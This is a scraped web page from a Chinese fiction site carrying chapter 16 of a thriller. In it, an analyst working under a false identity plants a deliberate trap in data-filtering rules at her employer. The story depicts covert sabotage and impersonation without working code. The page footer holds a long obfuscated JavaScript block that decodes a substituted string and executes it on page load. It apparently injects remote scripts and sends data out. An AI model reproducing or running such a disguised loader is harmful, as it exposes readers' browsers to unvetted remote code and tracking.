首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第16章:深蓝的涟漪

下载APP,无广告、完整阅读
    第16章:深蓝的涟漪(第1/2页)
    路容关掉数据分析软件,屏幕暗下去,映出她平静的脸。窗外,深港市的夜幕已经降临,远处写字楼的灯光像繁星般亮起。她起身走到窗边,看着这座城市的夜景。手机放在桌上,屏幕朝下。她知道,今夜会有数据流入测试环境,她设计的过滤规则将开始工作。那是一个精密的陷阱,伪装成技术上的激进选择。如果一切顺利,明天清晨,告警就会触发。如果失败……路容没有继续想下去。她拉上窗帘,房间陷入昏暗。该休息了,明天还有更多战斗。
    清晨六点四十七分,闹钟还没响。
    路容已经醒了。
    她躺在床上,盯着天花板上模糊的阴影。出租屋的隔音不好,隔壁传来冲马桶的声音,水管在墙壁里发出沉闷的轰鸣。窗外有鸟叫,清脆而单调。空气里有灰尘和旧家具混合的气味,还有她昨晚泡的茶已经凉透的淡淡茶香。
    她坐起身,打开床头灯。
    光线刺眼。
    路容眯起眼睛,伸手拿过笔记本电脑。屏幕亮起,显示着远程连接界面。她输入密码,登录星耀集团的测试服务器。指尖在触摸板上滑动,点开监控面板。
    数据流统计图在屏幕上展开。
    蓝色的曲线平稳上升,代表昨夜流入“深蓝-预处理-加密”批次7数据包的数量。绿色柱状图显示清洗流程各环节的处理量。红色警示标志——零。
    没有告警。
    路容盯着屏幕,呼吸平稳。她关掉监控面板,打开邮件客户端。收件箱里有三封新邮件:一封是人力资源部的月度考核通知,一封是公司食堂新菜单,还有一封——
    发件人:周哲。
    主题:项目启动会议,上午十点,线上。
    路容点开邮件。
    正文是标准的会议通知格式,列出了参会人员、会议链接、议程安排。附件里有项目文档的更新版本。她下载附件,打开文档。
    文档第一页是项目概述。
    “深蓝计划外围数据质量评估与预处理优化项目”
    负责人:周哲(技术部)
    质量评估专员:若溪(数据分析部)
    数据来源:深蓝-预处理-加密批次7、批次8、批次9
    目标:建立标准化清洗流程,提升数据可用率15%以上
    周期:四周
    路容滚动鼠标,浏览技术细节部分。
    数据包加密方式:AES-256-GCM,密钥轮换周期24小时。
    数据结构:JSON嵌套,顶层字段包括timestamp、device_id、event_type、payload。
    payload字段:加密内容,解密后为嵌套JSON,包含用户行为序列、设备指纹、交互事件。
    她的目光停留在“payload字段”的描述上。
    手指无意识地敲击桌面。
    一下,两下。
    三年前,天启科技有一个内部项目,代号“灯塔”。那是她参与的第一个核心项目,负责设计用户行为数据的采集和预处理流程。当时的加密方案也是AES-256,但用的是CBC模式。数据结构——她记得很清楚——也是JSON嵌套,顶层字段包括timestamp、user_id、action_type、data。
    data字段,加密内容。
    路容闭上眼睛,脑海里浮现出那些代码片段。她写过解析函数,写过解密模块,写过数据验证规则。那些代码的风格,那些字段命名的习惯,那些错误处理的逻辑……
    她睁开眼,重新看向屏幕。
    文档里没有更多细节。
    但那种诡异的熟悉感,像一根细针,刺进她的记忆深处。
    上午九点,路容洗漱完毕,换上简单的灰色针织衫和黑色长裤。她在厨房烧水泡茶,茶叶在玻璃杯里舒展开,颜色从浅绿渐渐变成琥珀。水蒸气升腾,模糊了她的眼镜片。她摘下眼镜,用衣角擦拭。
    手机震动。
    周哲发来消息:“会议提前到九点半,方便吗?李总临时要听项目进展汇报,我们需要先内部过一遍。”
    路容打字:“可以。”
    “好,十分钟后发你链接。”
    路容端着茶杯回到书桌前。出租屋很小,书桌紧挨着床,墙上贴着她手绘的数据流程图和项目时间表。桌上除了笔记本电脑,还有一台外接显示器、一个机械键盘、一个变声器设备。变声器的指示灯亮着微弱的绿光,表示设备待机。
    她戴上耳机,调整麦克风位置。
    然后打开变声器开关。
    轻微的电流声在耳机里响起,随即消失。设备开始工作,将她原本的声音实时处理成另一个频率——略高,略带沙哑,符合“若溪”这个身份的声音特征。路容清了清嗓子,测试音效。
    “测试,一,二,三。”
    耳机里传出的声音陌生而熟悉。
    她喝了一口茶,茶水温热,带着淡淡的苦味。
    九点二十五分,会议链接发来。
    路容点击进入。
    视频会议界面展开。周哲已经在线,背景是星耀集团技术部的开放式办公区,能看到他身后有同事走动的模糊身影。他穿着浅蓝色衬衫,头发梳理整齐,但眼睛下方有淡淡的黑眼圈。
    “若溪,早上好。”周哲对着摄像头微笑。
    “早上好。”路容调整了一下坐姿,确保摄像头只拍到她的上半身和身后的白墙。
    “其他同事马上到。”周哲看了看屏幕侧方,“李总要求十点听汇报,我们抓紧时间过一下项目框架。你拿到数据包了吗?”
    “拿到了,昨晚下载的。”
    “好。这批数据量比较大,加密方式也比之前的边缘日志复杂。”周哲打开共享屏幕,展示技术文档,“AES-256-GCM,密钥每天轮换,解密需要调用公司的密钥管理服务。权限我已经帮你申请了,今天下午应该能批下来。”
    路容点头:“我看到文档了。数据清洗流程的设计,我需要先了解现有问题。”
    “问题很多。”周哲切换页面,展示一组统计图表,“这是过去三个月‘深蓝’外围数据的可用率趋势。蓝色线是原始数据流入量,红色线是清洗后可用数据量。你看,可用率一直在62%到68%之间波动,离我们目标的80%差很远。”
    图表上,红色曲线始终低于蓝色曲线,两条线之间的间隙代表被过滤掉的数据。
    “过滤原因分析呢?”路容问。
    周哲打开另一张图:“主要三大类:传输过程中产生的重复数据包,占比约18%;加密负载格式错误,无法解密,占比12%;数据字段缺失或格式异常,占比8%。剩下的就是各种零星问题。”
    “重复数据包的判定规则是什么?”
    “现有的规则很简单:相同device_id、相同timestamp、相同payload哈希值,判定为重复。”周哲说,“但问题在于,传输过程可能产生时间戳微秒级的差异,或者网络抖动导致同一个数据包被重复发送但带有不同的序列号。现有规则会漏掉很多。”
    会议界面里又进来三个人。
    都是技术部的同事,路容在之前的项目里见过他们的名字,但没直接合作过。他们依次打招呼,周哲简单介绍了路容的角色。
    “若溪负责设计新的过滤规则,重点解决重复数据包和格式异常的问题。”周哲说,“我们需要在两周内拿出第一版方案,在测试环境跑通,然后逐步优化。”
    一个戴眼镜的男同事开口:“重复数据包的判定,我建议加入时间窗口概念。比如同一个device_id在100毫秒内发送的多个数据包,如果payload相似度超过95%,就判定为重复。”
    “相似度计算需要解密payload,计算成本很高。”另一个女同事反驳,“每天流入的数据量是TB级别,实时计算不现实。”
    “可以抽样,或者只在可疑情况下触发深度检查……”
    讨论持续了二十分钟。
    路容大部分时间在听,偶尔提问。她的问题都很精准,直指技术方案的核心矛盾和可行性边界。周哲几次看向她的视频窗口,眼神里有欣赏。
    会议结束时,分工明确。
    路容负责设计重复数据包过滤规则和异常数据检测模块。技术部同事负责搭建测试环境,提供性能监控工具。周哲负责整体协调和向李剑汇报。
    “若溪,你这边需要什么支持?”周哲问。
    “我需要访问最近一个月‘深蓝’数据清洗的详细日志,包括每个被过滤数据包的具体原因、原始数据片段、处理时间。”路容说,“另外,我想了解这批数据的来源渠道,是直接采集还是通过第三方合作方获取。”
    周哲沉默了几秒。
    “日志可以给你,下午开权限。”他说,“但数据来源……这部分信息涉密,需要副总裁级别审批。我尽量申请,但不保证。”
    “理解。”路容点头。
    会议结束。
    路容摘下耳机,关掉变声器。房间里瞬间安静下来,只有笔记本电脑风扇轻微的嗡嗡声。她靠在椅背上,闭上眼睛。
    脑海里回放着刚才会议的内容。
    重复数据包。格式异常。加密负载。
    还有周哲提到“数据来源涉密”时,那一瞬间的迟疑。
    她睁开眼,打开数据包。
    解压后的文件夹里,是数百个加密文件,每个文件大小在几十MB到几百MB不等。文件名格式统一:deepblue_pre_enc_batch7_001.bin、deepblue_pre_enc_batch7_002.bin……
    路容随机选择一个文件,用公司提供的解密工具尝试打开。
    工具弹出提示:“需要密钥管理服务授权,请登录。”
    她登录公司内网,进入密钥管理平台。平台界面简洁,显示着她已申请的权限列表。其中一条:“深蓝计划批次7数据解密权限——待审批”。
    状态:审核中。
    路容关掉页面。
    没有解密密钥,她无法查看数据内容。但文档里描述了数据结构,她可以基于这些描述,先设计过滤规则的框架。
    她打开代码编辑器。
    手指放在键盘上,停顿。
    然后开始敲击。
    代码一行行出现在屏幕上。她写得很慢,每一个函数都仔细推敲,每一个判断条件都反复斟酌。过滤规则的核心逻辑是:识别重复数据包,但不过度过滤;检测格式异常,但不误伤正常数据。
    这需要平衡。
    太保守,达不到提升可用率的目标。
    太激进,可能误过滤重要数据。
    路容写着写着,停了下来。
    她盯着屏幕上的代码,脑海里浮现出另一个场景。
    三年前,天启科技“灯塔”项目。她也负责设计数据清洗流程。当时的项目负责人——一个四十多岁、总爱穿格子衬衫的技术总监——在评审会上说:“过滤规则要大胆一点,宁可错杀,不可放过。用户行为数据,干净比完整更重要。”
    她当时反驳:“错杀会丢失真实用户行为模式,影响模型训练。”
    “那是算法团队该操心的事。”总监说,“我们的职责是提供干净的数据。”
    后来,“灯塔”项目上线三个月后,因为数据过滤过度,导致用户画像模型出现严重偏差。产品团队投诉,算法团队甩锅,最后责任落到了数据清洗流程设计上。
    而那个说“宁可错杀”的总监,早已调离项目组。
    路容深吸一口气。
    继续写代码。
    但这一次,她的思路变了。
    她开始设计一个“激进”的规则——表面上是为了最大化过滤重复和异常数据,实际上,她在规则里埋下了一个微妙的漏洞。
    漏洞的核心,在于对加密负载格式的判定。
    (本章未完,请点击下一页继续阅读)第16章:深蓝的涟漪(第2/2页)
    现有文档描述,payload字段解密后应该是标准JSON格式,包含固定的几个嵌套字段。但路容知道,在实际传输过程中,可能因为加密算法、网络编码、第三方接口等各种原因,产生一些非标准但依然可解析的变体。
    比如,JSON字符串的开头或结尾多了一个空格。
    比如,某个字段的值是空数组[],但被编码成了空字符串““。
    比如,时间戳字段的值是整数,但被错误地传成了字符串。
    这些变体,在严格的JSON解析器里会报错,但在一些宽松的解析器里可以正常处理。
    路容设计的规则是:只要payload解密后不能通过严格JSON解析验证,就标记为“格式异常”,暂时搁置,触发人工审核。
    这听起来很合理。
    但她在规则里加了一个细节:对于AES-256-GCM加密的数据包,解密过程会生成一个“认证标签”,用于验证数据完整性。如果认证标签验证失败,解密工具会直接报错,不会输出任何内容。
    而她的规则,在处理“认证标签验证失败”的情况时,设计了一个特殊的逻辑分支。
    这个分支会检查数据包的元数据——device_id、timestamp、来源IP——然后与最近一小时内的其他数据包进行模糊匹配。如果找到相似的数据包,就假设这个解密失败的数据包是重复发送的版本,直接丢弃,不触发告警。
    但如果找不到相似数据包呢?
    规则会将其标记为“加密负载格式错误”,进入异常队列。
    然后——关键在这里——路容在代码里设置了一个阈值:同一来源IP在五分钟内,如果出现超过三个“加密负载格式错误”的数据包,就触发系统级告警。
    为什么?
    因为正常的数据传输,不会在短时间内产生大量解密失败的数据包。如果出现,要么是源头数据有问题,要么是加密密钥错误,要么是——有人故意发送了无法解密的测试数据。
    而“深蓝计划”的数据来源,周哲说涉密。
    路容不知道具体是什么来源。
    但她知道,李剑三年前构陷她时,用的就是伪造的数据包,伪装成她从公司服务器泄露出去的加密文件。那些文件,表面上是AES加密,实际上内部结构被篡改过,解密后会得到错误的内容。
    当时的加密方式,也是AES-256。
    当时的错误模式,也是认证标签验证失败。
    当时的处理逻辑——天启科技的安全团队写的——也是将这类数据包标记为异常,触发告警。
    然后告警记录,成了“证据”的一部分。
    路容的手指停在键盘上。
    屏幕上的代码已经写了三百多行。她从头到尾检查一遍,确认逻辑正确,确认漏洞隐蔽,确认这个规则在技术评审时能通过——因为它确实能有效过滤重复数据,也确实能检测格式异常。
    只是,它会对某种特定的错误模式,产生“过度敏感”的反应。
    而这种错误模式,与三年前她见过的,太像了。
    下午两点,权限批下来了。
    路容登录密钥管理平台,看到状态变成“已授权”。她下载了解密密钥,导入工具,重新尝试打开那个加密文件。
    进度条缓慢移动。
    百分之十,百分之三十,百分之七十。
    解密完成。
    文件展开,里面是数万行JSON格式的数据。路容快速浏览,确认文档描述的结构准确:timestamp是13位毫秒时间戳,device_id是32位哈希字符串,event_type包括“page_view”、“button_click”、“scroll”等,payload字段是加密内容。
    她随机选择几条数据,用密钥解密payload。
    解密后的内容显示出来:用户访问了某个电商网站的商品页面,点击了“加入购物车”按钮,页面停留时间47秒,滚动深度65%……
    很标准的用户行为数据。
    路容连续解密了十几条,内容都正常。
    她关掉文件,打开另一个。
    同样正常。
    第三个,正常。
    第四个——
    路容的目光停住了。
    这条数据的device_id,她见过。
    就在刚才解密的第一个文件里,有相同的device_id,但timestamp相差三分钟。她翻回去对比,两个数据包的device_id完全一致,event_type都是“page_view”,但payload解密后的内容……
    第一个:用户访问了网站A的首页。
    第四个:用户访问了网站B的商品页。
    同一个设备,三分钟内,访问了两个不同的网站。
    这本身不奇怪,用户可能切换应用。
    但路容注意到一个细节:两个数据包的来源IP不同。
    第一个来源IP:203.112.89.76(深港市电信)
    第四个来源IP:103.215.44.128(境外,新加坡)
    同一个设备,三分钟内,IP地址从深港市跳到了新加坡。
    不可能。
    除非……
    路容盯着屏幕,心跳微微加速。
    除非这个device_id不是真实的设备标识,而是经过某种映射或伪造的ID。或者,数据来源本身就有问题——可能混合了多个渠道的数据,没有做好去重和归一化。
    又或者,这些数据根本不是实时采集的,而是从某个数据仓库里批量导出,重新打包加密后,伪装成实时数据流。
    她继续查看。
    又发现了几个类似的案例:相同的device_id出现在不同的来源IP,时间间隔很短,访问行为不连贯。
    还有一批数据,timestamp的时间顺序是乱的——晚发生的事件,时间戳反而比早发生的事件更早。
    以及一些payload解密后,JSON结构虽然正确,但某些字段的值明显异常:页面停留时间999999秒,滚动深度-1,按钮点击坐标(9999,9999)……
    路容把这些异常案例记录下来。
    然后,她开始修改过滤规则代码。
    针对device_id异常跳变的情况,她加入了一个检查:如果同一个device_id在十分钟内出现在地理距离不可能达到的IP地址(比如深港市和新加坡),就将这两个数据包都标记为“设备标识可疑”,进入人工审核队列。
    针对timestamp乱序的情况,她加入时间戳合理性校验:如果数据包的时间戳比系统当前时间还晚,或者比同来源的前一个数据包早太多,就标记为“时间戳异常”。
    针对字段值异常的情况,她加入数值范围检查。
    每一条规则,都有合理的技术理由。
    每一条规则,也都可能误伤正常数据。
    但路容把误判的概率,控制在了一个“可接受”的范围——根据她写的测试用例,误判率大约在0.3%到0.5%之间。对于TB级别的数据流,这意味着每天会有数万个数据包被错误地标记为异常。
    而系统告警的阈值,她设置为:同一数据源,异常率超过1%,持续五分钟,触发告警。
    如果她的规则误判率是0.5%,正常数据流的异常率可能只有0.1%或更低,那么整体异常率不会超过0.6%,达不到告警阈值。
    除非——
    数据源本身的异常率就很高。
    或者,有人故意往数据流里注入异常数据包。
    路容写完最后一段代码,保存。
    时间已经是下午六点。
    窗外天色渐暗,城市的灯光再次亮起。她站起来,活动了一下僵硬的肩膀。颈椎发出轻微的咔哒声。她走到窗边,拉开窗帘。
    深港市的夜晚,繁华而冷漠。
    远处星耀集团的写字楼,依然灯火通明。不知道周哲还在不在办公室,不知道李剑此刻在做什么,不知道那些加密数据包,此刻正从世界的哪个角落,流向星耀的服务器。
    路容回到书桌前,将代码提交到测试环境。
    系统提示:代码审核中,预计两小时内完成。
    她关掉电脑。
    煮了碗泡面,加了鸡蛋和几片青菜。面条在沸水里翻滚,热气蒸腾,带着浓郁的调味料气味。她端着碗坐在床边,慢慢吃。
    手机安静地躺在桌上。
    晚上八点,代码审核通过。
    测试环境开始部署新的过滤规则。路容重新打开电脑,登录监控面板。数据流曲线平稳,清洗流程各环节正常。她的规则模块显示“运行中”,处理计数开始累积。
    晚上十点,处理数据量超过500GB。
    异常标记数量:1274个。
    异常率:0.25%。
    低于告警阈值。
    路容泡了第二杯茶,坐在电脑前等待。茶香在房间里弥漫,混合着泡面残留的气味。她戴上耳机,播放轻音乐,音量调得很低。
    时间一分一秒过去。
    晚上十一点。
    异常率:0.31%。
    晚上十一点半。
    异常率:0.29%。
    午夜十二点。
    数据流进入低谷期,流入速度减缓。异常率波动,最高到0.35%,最低到0.22%。
    路容的眼睛开始发涩。
    她摘下眼镜,揉了揉眉心。然后重新戴上眼镜,盯着屏幕。
    凌晨一点。
    数据流突然出现一个小高峰——监控面板显示,有新的数据源接入,流量在五分钟内增加了30%。路容坐直身体,手指放在触摸板上,放大那个时间段的统计图。
    新数据源的IP段:198.51.100.0/24。
    地理位置:显示为“未知”。
    异常率,开始上升。
    0.41%。
    0.53%。
    0.67%。
    路容屏住呼吸。
    屏幕上的数字跳动。
    0.72%。
    0.85%。
    0.91%。
    然后——
    1.02%。
    红色警示标志,在监控面板上亮起。
    系统告警触发。
    几乎同时,路容的手机震动起来。
    她拿起手机,屏幕上显示来电:周哲。
    路容盯着那个名字,看了三秒钟。然后她深吸一口气,按下接听键,同时打开变声器。
    “喂?”
    “若溪,抱歉这么晚打扰。”周哲的声音从听筒里传来,背景里有键盘敲击声和轻微的警报声,“测试环境出问题了,你设计的过滤规则,标记了一大批‘深蓝’外围数据为异常,现在数据流堵塞,清洗流程停滞。我需要你立刻远程登录,一起排查。”
    路容的声音平静:“异常率多少?”
    “刚才峰值1.02%,现在降到0.98%,但还是高于阈值。”周哲说,“数据源是198.51.100开头的那个段,今晚刚接入的新渠道。你方便现在上线吗?”
    “方便,给我五分钟。”
    “好,我发你紧急访问链接。”
    电话挂断。
    路容放下手机,看向电脑屏幕。
    红色警示标志依然亮着。
    监控面板上,异常数据包的数量还在缓慢增加。
    她端起已经凉透的茶,喝了一口。
    茶很苦。
    但她的嘴角,微微扬起。
    鱼饵,已经放下。

一秒记住【顶点小说】
dingdian12345.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
